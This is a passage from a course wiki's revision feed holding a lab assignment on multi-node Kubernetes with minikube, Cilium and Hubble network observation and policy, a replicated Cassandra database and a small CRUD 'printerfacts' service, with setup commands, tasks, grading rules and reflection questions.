                  hubble-relay       quay.io/cilium/hubble-relay:v1.10.5: 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Cassandra ===&lt;br /&gt;
&lt;br /&gt;
We will be using the &amp;lt;code&amp;gt;helm&amp;lt;/code&amp;gt; package manger to install Cassandra in our k8s cluster. To do so, run the following commands:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/cassandra.yml&lt;br /&gt;
helm repo add bitnami https://charts.bitnami.com/bitnami&lt;br /&gt;
helm install cassandra bitnami/cassandra -f cassandra.yml&amp;lt;/pre&amp;gt;&lt;br /&gt;
You can verify the status of your Cassandra installation using &amp;lt;code&amp;gt;kubectl get pods --watch&amp;lt;/code&amp;gt;. Wait until both &amp;lt;code&amp;gt;cassandra-0&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cassandra-1&amp;lt;/code&amp;gt; show &amp;lt;code&amp;gt;1/1&amp;lt;/code&amp;gt; under &amp;lt;code&amp;gt;READY&amp;lt;/code&amp;gt;. This might take a few minutes. The output should look something like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;student@alpine:~$ kubectl get pods&lt;br /&gt;
NAME                      READY   STATUS    RESTARTS      AGE&lt;br /&gt;
cassandra-0               1/1     Running   0             4m2s&lt;br /&gt;
cassandra-1               1/1     Running   0             2m8s&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Printerfacts ===&lt;br /&gt;
&lt;br /&gt;
The printerfacts service from last experience has received an upgrade to work with our new Cassandra database. First, run the migrations (provided as a batch job) to initialize the Cassandra database and populate it with some facts about printers:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/migrations.yml&lt;br /&gt;
kubectl apply -f migrations.yml&amp;lt;/pre&amp;gt;&lt;br /&gt;
After applying the migrations, you’re ready to deploy the printerfacts service:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/deploy.yml&lt;br /&gt;
kubectl apply -f deploy.yml&amp;lt;/pre&amp;gt;&lt;br /&gt;
Verify that printerfacts has been correctly deployed with &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt;. You should see something like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;student@alpine:~$ kubectl get pods&lt;br /&gt;
NAME                      READY   STATUS    RESTARTS      AGE&lt;br /&gt;
cassandra-0               1/1     Running   0             31m&lt;br /&gt;
cassandra-1               1/1     Running   0             30m&lt;br /&gt;
server-85f9f4465b-9vhn9   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-b7s2n   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-bvgqs   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-bwf42   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-gn5sm   1/1     Running   0             38m&amp;lt;/pre&amp;gt;&lt;br /&gt;
Finally, run &amp;lt;code&amp;gt;minikube tunnel&amp;lt;/code&amp;gt; in a separate terminal to set up port forwarding for our &amp;lt;code&amp;gt;LoadBalancer&amp;lt;/code&amp;gt; API objects. This will enable you to interact with printerfacts from your VM, rather than needing to spin up a client pod like last time.&lt;br /&gt;
&lt;br /&gt;
Verify that it worked correctly by running &amp;lt;code&amp;gt;curl 10.96.0.201&amp;lt;/code&amp;gt; (this is the IP you will use to talk to printerfacts). Note that depending on your specific configuration, you may need to SSH into minikube using &amp;lt;code&amp;gt;minikube ssh&amp;lt;/code&amp;gt; before you can access the load balancer service. If your curl command hangs forever, this may be the issue.&lt;br /&gt;
&lt;br /&gt;
= Tasks =&lt;br /&gt;
&lt;br /&gt;
== Part 1: Multi-Node Kubernetes, Cilium, and Cassandra (Easy) ==&lt;br /&gt;
&lt;br /&gt;
Follow the instructions for each of the following numbered tasks. Make an effort to answer the accompanying questions, but more importantly please note down all of your observations and describe what you did for each task. You should also feel free to write down whatever questions you may have about a given task.&lt;br /&gt;
&lt;br /&gt;
To achieve the best possible grade in this section, you must demonstrate that you have made an effort to understand the results of each task. (Note that an effort does not strictly mean a full understanding; it is okay to have questions!)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Thanks the Cilium CNI, your Kubernetes cluster has been outfitted with new eBPF superpowers. In particular, Cilium installs a series of eBPF programs into your (VM’s) kernel which can be used to monitor traffic between containers, pods, and nodes, as well as enforce L4–L7 security policy. To test out your new superpowers, run &amp;lt;code&amp;gt;cilium hubble port-forward&amp;amp;amp;&amp;lt;/code&amp;gt; followed by &amp;lt;code&amp;gt;hubble observe&amp;lt;/code&amp;gt;. What is all that output? Can you make sense of any of it?&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 1: Try checking &amp;lt;code&amp;gt;hubble --help&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;hubble observe --help&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 2: [https://docs.cilium.io/en/v1.10/gettingstarted/hubble/ Check out the Hubble docs]&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Unlike last time, our cluster consists of three nodes rather than just one. Try running &amp;lt;code&amp;gt;curl 10.96.0.201&amp;lt;/code&amp;gt; a few times and notice that the output now includes a node name in addition to a pod name. Do you notice any patterns in the output? Compare what you see with the output from running &amp;lt;code&amp;gt;kubectl get pods -o wide&amp;lt;/code&amp;gt;. Try to come up with an explanation for the distribution of printerfacts pods over the nodes in your cluster.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 1: Have a look at the &amp;lt;code&amp;gt;affinity&amp;lt;/code&amp;gt; section of &amp;lt;code&amp;gt;deploy.yml&amp;lt;/code&amp;gt;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 2: Have a look at the [https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity relevant documentation].&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 3: If you still can’t get it, an educated guess will suffice.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Printerfacts is now a CRUD app that supports creating, reading, updating, and deleting facts from the Cassandra database. In particular, we now support the following endpoints:&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt; /fact: Get a random fact from the database as a JSON object&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt; /fact/keys: Get a list of all fact keys in the database as a JSON object&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt; /fact/&amp;lt;key&amp;gt;: Get the fact with the key &amp;lt;key&amp;gt; in the database as a JSON object&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;POST&amp;lt;/code&amp;gt; /fact: Create a new fact where the request body is a JSON object of the form &amp;lt;code&amp;gt;{ &amp;amp;quot;fact&amp;amp;quot;: &amp;amp;quot;Fact Here&amp;amp;quot;, &amp;amp;quot;kind&amp;amp;quot;: &amp;amp;quot;Kind of fact (e.g. Cat fact)&amp;amp;quot; }&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;PUT&amp;lt;/code&amp;gt; /fact/&amp;lt;key&amp;gt;: Modify the fact with key &amp;lt;key&amp;gt; in the database where the request body is a JSON object of the form &amp;lt;code&amp;gt;{ &amp;amp;quot;fact&amp;amp;quot;: &amp;amp;quot;Fact Here&amp;amp;quot;, &amp;amp;quot;kind&amp;amp;quot;: &amp;amp;quot;Kind of fact (e.g.  Cat fact)&amp;amp;quot; }&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;DELETE&amp;lt;/code&amp;gt; /fact/&amp;lt;key&amp;gt;: Delete the fact with key &amp;lt;key&amp;gt; from the database&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;Try out each of the printerfacts endpoints. Note that you can specify the HTTP request type using &amp;lt;code&amp;gt;curl -X &amp;amp;lt;type&amp;amp;gt;&amp;lt;/code&amp;gt; (for example, &amp;lt;code&amp;gt;curl -X POST&amp;lt;/code&amp;gt; to send a POST request). You can send a JSON body as a payload by using &amp;lt;code&amp;gt;curl -H &#039;Content-type: application/json&#039; -d &#039;{&amp;amp;quot;key&amp;amp;quot;: &amp;amp;quot;value&amp;amp;quot;}&#039;&amp;lt;/code&amp;gt; where you replace the &amp;lt;code&amp;gt;{&amp;amp;quot;key&amp;amp;quot;: &amp;amp;quot;value&amp;amp;quot;}&amp;lt;/code&amp;gt; part with your JSON object.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;Optional: Try restarting the Cassandra pods using &amp;lt;code&amp;gt;kubectl rollout restart statefulset cassandra&amp;lt;/code&amp;gt;. While the pods are restarting, watch the output of &amp;lt;code&amp;gt;kubectl get pods --watch&amp;lt;/code&amp;gt; and try making requests to the printerfacts service at the same time. Do you notice any downtime?&lt;br /&gt;
&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Let’s use Cilium and Hubble to observe dataflows between our Cassandra database and the printerfacts service. To do this, run the following Hubble command: &amp;lt;code&amp;gt;hubble observe    --label component=server --label component=printerfacts -f&amp;lt;/code&amp;gt;. Make a few requests to the printerfacts service, exercising various API endpoints. Try and make sense of some of the network traffic you observe.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;In an effort to secure your cluster, you decide to employ a Cilium network policy that locks down the printerfacts service. First, download the example security policy by running &amp;lt;code&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/printerfacts-policy.yml&amp;lt;/code&amp;gt;, then run &amp;lt;code&amp;gt;kubectl apply -f policy.yml&amp;lt;/code&amp;gt; to apply it. The example policy allows GET requests to &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/fact&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/fact/keys&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;/fact/&amp;amp;lt;key&amp;amp;gt;&amp;lt;/code&amp;gt;. Examine the policy file and make sure you understand how it works.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Try out your policy by making a few valid requests followed by some invalid ones. While your policy is applied, try using Hubble to observe the HTTP traffic by running &amp;lt;code&amp;gt;hubble observe --protocol http&amp;lt;/code&amp;gt;. Optionally, try extending the policy to make some other valid routes work (e.g. PUT, POST, and DELETE requests).&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: You may wish to consult the [https://docs.cilium.io/en/v1.10/gettingstarted/http/ Cilium docs]&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Now that you’re familiar with printerfacts, it’s time to simulate a node failure. Since both printerfacts and Cassandra are replicated across multiple nodes in our cluster, taking one of them down should not impact either service.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Let’s first try a planned node disruption. This kind of disruption might occur when a cluster administrator wants to take a node down for maintenance, for example to perform a kernel update. Start by draining node &amp;lt;code&amp;gt;minikube-m02&amp;lt;/code&amp;gt; with the command &amp;lt;code&amp;gt;kubectl drain minikube-m02 --ignore-daemonsets&amp;lt;/code&amp;gt;. Now try interacting with the printerfacts service as before. Make note of any unusual behaviour and try to come up with a best-guess explanation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Now you can bring your node back up using &amp;lt;code&amp;gt;kubectl uncordon minikube-m02&amp;lt;/code&amp;gt;. Once your node has been uncordoned, it should be ready for scheduling again. Try scaling up the printerfacts deployment to get some pods running on the node again.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Finally, let’s simulate a total node failure. To do this, we will kill the underlying kubelet for our node, which is running on your system as a Docker container. Use the &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; command to find the container ID that corresponds to your node, then kill it using &amp;lt;code&amp;gt;docker kill&amp;lt;/code&amp;gt;. Repeat the same experiments from before, documenting any unusual behaviour you observe.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 2: Interacting with Cassandra (Hard) ==&lt;br /&gt;
&lt;br /&gt;
Note that this part of the experience is only required if you wish to achieve a grade of A- or higher. You can also choose to skip one of the two questions here, but doing so will likely impact your grade.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Write a Cilium security policy that allows only SELECT and INSERT queries to the &amp;lt;code&amp;gt;pfacts.facts&amp;lt;/code&amp;gt; table in Cassandra. All other queries should be denied. Apply your policy and demonstrate how it works using a few examples queries. You may wish to consult [https://docs.cilium.io/en/v1.10/gettingstarted/cassandra/#how-to-secure-a-cassandra-database the Cilium policy docs].&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: You can use this [https://homeostasis.scs.carleton.ca/~will/cassandra-policy.yml policy template] as a starting point.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Write and deploy your own containerized application as a replicated deployment to interact with the Cassandra database in some interesting way. You can choose to extend the printerfacts schema or come up with your own schema, depending on your preference. Be sure to explain how your application deals with Cassandra’s consistency model in a replicated cluster. In order to achieve points for this question, you &#039;&#039;&#039;must&#039;&#039;&#039; make some meaningful modifications to the database. Just consuming the existing data in a new way is not sufficient.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 1: Cassandra allows the client to choose their consistency level when making queries. Hint 2: Cassandra queries are made in CQL, a NoSQL query language that is similar to but not totally compatible with SQL. Hint 3: You can spawn a &amp;lt;code&amp;gt;cqlsh&amp;lt;/code&amp;gt; session to issue test CQL queries like &amp;lt;code&amp;gt;kubectl exec -it cassandra-0 -- cqlsh&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 3: Reflection ==&lt;br /&gt;
&lt;br /&gt;
Summarize your experience with multi-node Kubernetes, Cilium, and Cassandra in a few paragraphs (both the good and the bad). What concepts do you see reflected here from the research papers we have read thus far? After having some hands on experience with a distributed system technology, have any of your opinions or initial assumptions changed? Feel free to list any other thoughts you have.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
&lt;br /&gt;
The idea for the printerfacts API comes from Christine Dodrill’s [https://christine.website/blog/dev-printerfact-2021-04-17 wonderful blog post].&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_2&amp;diff=23542</id>
		<title>DistOS 2021F Experience 2</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_2&amp;diff=23542"/>
		<updated>2021-11-27T01:14:54Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Part 1: Multi-Node Kubernetes, Cilium, and Cassandra (Easy) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
In this experience, you will be playing with a multi-node Kubernetes cluster simulated using &amp;lt;code&amp;gt;minikube&amp;lt;/code&amp;gt;, running the [https://docs.cilium.io/en/v1.10/ Cilium CNI], a replicated [https://cassandra.apache.org/doc/latest/ Apache Cassandra] database and an updated version of our beloved “printerfacts” service that consumes facts stored in the Cassandra database. As usual, you may wish to consult the relevant documentation if you get stuck. Links to documentation will be provided along with hints later on in this document.&lt;br /&gt;
&lt;br /&gt;
With the exception of Part 2, completing this experience shouldn’t take more than a couple of hours. Feel free to collaborate with other students if you get stuck. However, &#039;&#039;&#039;you must acknowledge any collaboration&#039;&#039;&#039;. Additionally, &#039;&#039;&#039;copying and pasting or simply “changing up” each other’s answers will be treated as an academic integrity violation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Submissions ==&lt;br /&gt;
&lt;br /&gt;
Your experience report should be submitted as a PDF file on Brightspace, written in &#039;&#039;&#039;paragraph form&#039;&#039;&#039;. Code snippets or screenshots are allowed to augment your prose but are not required. We will post a submission link on Brightspace within the next few days.&lt;br /&gt;
&lt;br /&gt;
The official due date for the experience report is December 10th (the last day of class), but we will continue to accept submissions up until the date of the final exam if you need extra time.&lt;br /&gt;
&lt;br /&gt;
== Receiving Your Grade ==&lt;br /&gt;
&lt;br /&gt;
This experience is broken up into three parts:&lt;br /&gt;
&lt;br /&gt;
# A series of easy tasks designed to get you familiar Cilium, Cassandra, and a multi-node K8s cluster.&lt;br /&gt;
# A harder challenge that involves programming a client to interact with the Cassandra database and writing a custom Cilium security policy to lock down your cluster.&lt;br /&gt;
# An opportunity to reflect on this experience and make connections to overall themes in the course.&lt;br /&gt;
&lt;br /&gt;
Students are expected to complete Part 1 and Part 3 to get a grade of at most a B+. &#039;&#039;&#039;Part 2 is optional&#039;&#039;&#039;, but must be completed to receive a grade of A- or higher. Marks will be deducted for insufficient explanations or answers that demonstrate a lack of effort. By this logic, you should have a fairly clear idea of what grade you will receive when you submit this experience, based on how much effort you put in.&lt;br /&gt;
&lt;br /&gt;
== Setting Up Your Environment ==&lt;br /&gt;
&lt;br /&gt;
For this experience, a new VM image has been provided for you. It has a larger disk size, more RAM, and a batteries-included installation of the [https://github.com/cilium/cilium-cli Cilium] and [https://github.com/cilium/hubble Hubble] CLI. First, &#039;&#039;&#039;delete your old instance&#039;&#039;&#039; using the OpenStack web console, then create a new one. You can follow the [https://homeostasis.scs.carleton.ca/wiki/index.php/DistOS_2021F:_Using_Openstack same instructions as before], except replace the &amp;lt;code&amp;gt;COMP4000-studentvm-v1&amp;lt;/code&amp;gt; image with &amp;lt;code&amp;gt;COMP4000-studentvm-v2&amp;lt;/code&amp;gt;. When selecting your flavour, make sure you pick the flavour with &#039;&#039;&#039;16GiB of disk space and 8GB of RAM&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Once your VM is set up, SSH into it using your preferred SSH client. You should probably be working with at least 2 terminals for the rest of this experience. After SSHing into your instance, run the following command to spin up a multi-node k8s cluster: &amp;lt;code&amp;gt;minikube start -n3 --cni=cilium&amp;lt;/code&amp;gt;. This might take a few minutes to run to completion.&lt;br /&gt;
&lt;br /&gt;
Verify your cluster has started correctly using &amp;lt;code&amp;gt;minikube status&amp;lt;/code&amp;gt;. You should see something like the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;minikube&lt;br /&gt;
type: Control Plane&lt;br /&gt;
host: Running&lt;br /&gt;
kubelet: Running&lt;br /&gt;
apiserver: Running&lt;br /&gt;
kubeconfig: Configured&lt;br /&gt;
&lt;br /&gt;
minikube-m02&lt;br /&gt;
type: Worker&lt;br /&gt;
host: Running&lt;br /&gt;
kubelet: Running&lt;br /&gt;
&lt;br /&gt;
minikube-m03&lt;br /&gt;
type: Worker&lt;br /&gt;
host: Running&lt;br /&gt;
kubelet: Running&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Cilium and Hubble ===&lt;br /&gt;
&lt;br /&gt;
Once your cluster is running, you can configure the cluster to use Cilium and Hubble. Due to some minikube and Cilium quirks, we need to uninstall the default version of Cilium installed by minikube and reinstall it using the Cilium CLI. You can do so with the following commands:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;cilium uninstall &amp;amp;amp;&amp;amp;amp; cilium install &amp;amp;amp;&amp;amp;amp; cilium hubble enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
This may take a few minutes to run to completion.&lt;br /&gt;
&lt;br /&gt;
You can run the command &amp;lt;code&amp;gt;cilium status&amp;lt;/code&amp;gt; to check the status of your Cilium installation. Once everything has installed correctly, you should see something like the following when running &amp;lt;code&amp;gt;cilium status&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;student@alpine:~$ cilium status&lt;br /&gt;
    /¯¯\&lt;br /&gt;
 /¯¯\__/¯¯\    Cilium:         OK&lt;br /&gt;
 \__/¯¯\__/    Operator:       OK&lt;br /&gt;
 /¯¯\__/¯¯\    Hubble:         OK&lt;br /&gt;
 \__/¯¯\__/    ClusterMesh:    disabled&lt;br /&gt;
    \__/&lt;br /&gt;
&lt;br /&gt;
Deployment        cilium-operator    Desired: 1, Ready: 1/1, Available: 1/1&lt;br /&gt;
Deployment        hubble-relay       Desired: 1, Ready: 1/1, Available: 1/1&lt;br /&gt;
DaemonSet         cilium             Desired: 3, Ready: 3/3, Available: 3/3&lt;br /&gt;
Containers:       cilium             Running: 3&lt;br /&gt;
                  cilium-operator    Running: 1&lt;br /&gt;
                  hubble-relay       Running: 1&lt;br /&gt;
Cluster Pods:     2/2 managed by Cilium&lt;br /&gt;
Image versions    cilium             quay.io/cilium/cilium:v1.10.5: 3&lt;br /&gt;
                  cilium-operator    quay.io/cilium/operator-generic:v1.10.5: 1&lt;br /&gt;
                  hubble-relay       quay.io/cilium/hubble-relay:v1.10.5: 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Cassandra ===&lt;br /&gt;
&lt;br /&gt;
We will be using the &amp;lt;code&amp;gt;helm&amp;lt;/code&amp;gt; package manger to install Cassandra in our k8s cluster. To do so, run the following commands:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/cassandra.yml&lt;br /&gt;
helm repo add bitnami https://charts.bitnami.com/bitnami&lt;br /&gt;
helm install cassandra bitnami/cassandra -f cassandra.yml&amp;lt;/pre&amp;gt;&lt;br /&gt;
You can verify the status of your Cassandra installation using &amp;lt;code&amp;gt;kubectl get pods --watch&amp;lt;/code&amp;gt;. Wait until both &amp;lt;code&amp;gt;cassandra-0&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cassandra-1&amp;lt;/code&amp;gt; show &amp;lt;code&amp;gt;1/1&amp;lt;/code&amp;gt; under &amp;lt;code&amp;gt;READY&amp;lt;/code&amp;gt;. This might take a few minutes. The output should look something like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;student@alpine:~$ kubectl get pods&lt;br /&gt;
NAME                      READY   STATUS    RESTARTS      AGE&lt;br /&gt;
cassandra-0               1/1     Running   0             4m2s&lt;br /&gt;
cassandra-1               1/1     Running   0             2m8s&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Printerfacts ===&lt;br /&gt;
&lt;br /&gt;
The printerfacts service from last experience has received an upgrade to work with our new Cassandra database. First, run the migrations (provided as a batch job) to initialize the Cassandra database and populate it with some facts about printers:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/migrations.yml&lt;br /&gt;
kubectl apply -f migrations.yml&amp;lt;/pre&amp;gt;&lt;br /&gt;
After applying the migrations, you’re ready to deploy the printerfacts service:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/deploy.yml&lt;br /&gt;
kubectl apply -f deploy.yml&amp;lt;/pre&amp;gt;&lt;br /&gt;
Verify that printerfacts has been correctly deployed with &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt;. You should see something like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;student@alpine:~$ kubectl get pods&lt;br /&gt;
NAME                      READY   STATUS    RESTARTS      AGE&lt;br /&gt;
cassandra-0               1/1     Running   0             31m&lt;br /&gt;
cassandra-1               1/1     Running   0             30m&lt;br /&gt;
server-85f9f4465b-9vhn9   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-b7s2n   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-bvgqs   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-bwf42   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-gn5sm   1/1     Running   0             38m&amp;lt;/pre&amp;gt;&lt;br /&gt;
Finally, run &amp;lt;code&amp;gt;minikube tunnel&amp;lt;/code&amp;gt; in a separate terminal to set up port forwarding for our &amp;lt;code&amp;gt;LoadBalancer&amp;lt;/code&amp;gt; API objects. This will enable you to interact with printerfacts from your VM, rather than needing to spin up a client pod like last time.&lt;br /&gt;
&lt;br /&gt;
Verify that it worked correctly by running &amp;lt;code&amp;gt;curl 10.96.0.201&amp;lt;/code&amp;gt; (this is the IP you will use to talk to printerfacts). Note that depending on your specific configuration, you may need to SSH into minikube using &amp;lt;code&amp;gt;minikube ssh&amp;lt;/code&amp;gt; before you can access the load balancer service. If your curl command hangs forever, this may be the issue.&lt;br /&gt;
&lt;br /&gt;
= Tasks =&lt;br /&gt;
&lt;br /&gt;
== Part 1: Multi-Node Kubernetes, Cilium, and Cassandra (Easy) ==&lt;br /&gt;
&lt;br /&gt;
Follow the instructions for each of the following numbered tasks. Make an effort to answer the accompanying questions, but more importantly please note down all of your observations and describe what you did for each task. You should also feel free to write down whatever questions you may have about a given task.&lt;br /&gt;
&lt;br /&gt;
To achieve the best possible grade in this section, you must demonstrate that you have made an effort to understand the results of each task. (Note that an effort does not strictly mean a full understanding; it is okay to have questions!)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Thanks the Cilium CNI, your Kubernetes cluster has been outfitted with new eBPF superpowers. In particular, Cilium installs a series of eBPF programs into your (VM’s) kernel which can be used to monitor traffic between containers, pods, and nodes, as well as enforce L4–L7 security policy. To test out your new superpowers, run &amp;lt;code&amp;gt;cilium hubble port-forward&amp;amp;amp;&amp;lt;/code&amp;gt; followed by &amp;lt;code&amp;gt;hubble observe&amp;lt;/code&amp;gt;. What is all that output? Can you make sense of any of it?&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 1: Try checking &amp;lt;code&amp;gt;hubble --help&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;hubble observe --help&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 2: [https://docs.cilium.io/en/v1.10/gettingstarted/hubble/ Check out the Hubble docs]&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Unlike last time, our cluster consists of three nodes rather than just one. Try running &amp;lt;code&amp;gt;curl 10.96.0.201&amp;lt;/code&amp;gt; a few times and notice that the output now includes a node name in addition to a pod name. Do you notice any patterns in the output? Compare what you see with the output from running &amp;lt;code&amp;gt;kubectl get pods -o wide&amp;lt;/code&amp;gt;. Try to come up with an explanation for the distribution of printerfacts pods over the nodes in your cluster.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 1: Have a look at the &amp;lt;code&amp;gt;affinity&amp;lt;/code&amp;gt; section of &amp;lt;code&amp;gt;deploy.yml&amp;lt;/code&amp;gt;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 2: Have a look at the [https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity relevant documentation].&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 3: If you still can’t get it, an educated guess will suffice.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Printerfacts is now a CRUD app that supports creating, reading, updating, and deleting facts from the Cassandra database. In particular, we now support the following endpoints:&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
